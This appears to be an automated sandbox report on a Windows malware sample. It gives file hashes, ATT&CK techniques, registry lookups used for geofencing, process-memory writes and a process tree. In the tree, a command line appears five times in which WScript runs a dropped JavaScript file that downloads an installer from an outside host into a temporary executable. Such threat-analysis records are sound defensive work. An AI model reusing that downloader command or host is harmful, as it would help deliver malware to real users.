ad9830b60490a4576b35e12258d71060881a8dfb6f3d3c4653262d13fc9c5b34

General

Target

ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe
Size

184KB
MD5

ffdd3dd2b9df472fe22273e6ab861f4d
SHA1

29f6a87adfc251212c74424c895376f1f8680c30
SHA256

ad9830b60490a4576b35e12258d71060881a8dfb6f3d3c4653262d13fc9c5b34
SHA512

e6b2aea6850bcd22d591f89f484babd4f7c713f5232049414510e8e8fa859a06ecad2e93ce971ffeeba499b295a50943a25b98eb0755f8c2d85cd1beeb67ed01
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3D:/7BSH8zUB+nGESaaRvoB7FJNndnS

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
9	4624	WScript.exe
27	3120	WScript.exe
41	2020	WScript.exe
57	1092	WScript.exe
60	2748	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000_Classes\Local Settings	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4540 wrote to memory of 4624	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	89
PID 4540 wrote to memory of 4624	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	89
PID 4540 wrote to memory of 4624	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	89
PID 4540 wrote to memory of 3120	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	95
PID 4540 wrote to memory of 3120	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	95
PID 4540 wrote to memory of 3120	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	95
PID 4540 wrote to memory of 2020	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	99
PID 4540 wrote to memory of 2020	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	99
PID 4540 wrote to memory of 2020	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	99
PID 4540 wrote to memory of 1092	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	102
PID 4540 wrote to memory of 1092	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	102
PID 4540 wrote to memory of 1092	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	102
PID 4540 wrote to memory of 2748	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	103
PID 4540 wrote to memory of 2748	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	103
PID 4540 wrote to memory of 2748	4540	ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe	103

C:\Users\Admin\AppData\Local\Temp\ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ffdd3dd2b9df472fe22273e6ab861f4d_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4540
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5B5A.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5B5A.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4624
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5B5A.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5B5A.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3120
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5B5A.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5B5A.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2020
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5B5A.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5B5A.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1092
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5B5A.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5B5A.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2748

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4336,i,16316361669272684588,6171287487746154806,262144 --variations-seed-version --mojo-platform-channel-handle=3776 /prefetch:8
1⤵
PID:2032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf5B5A.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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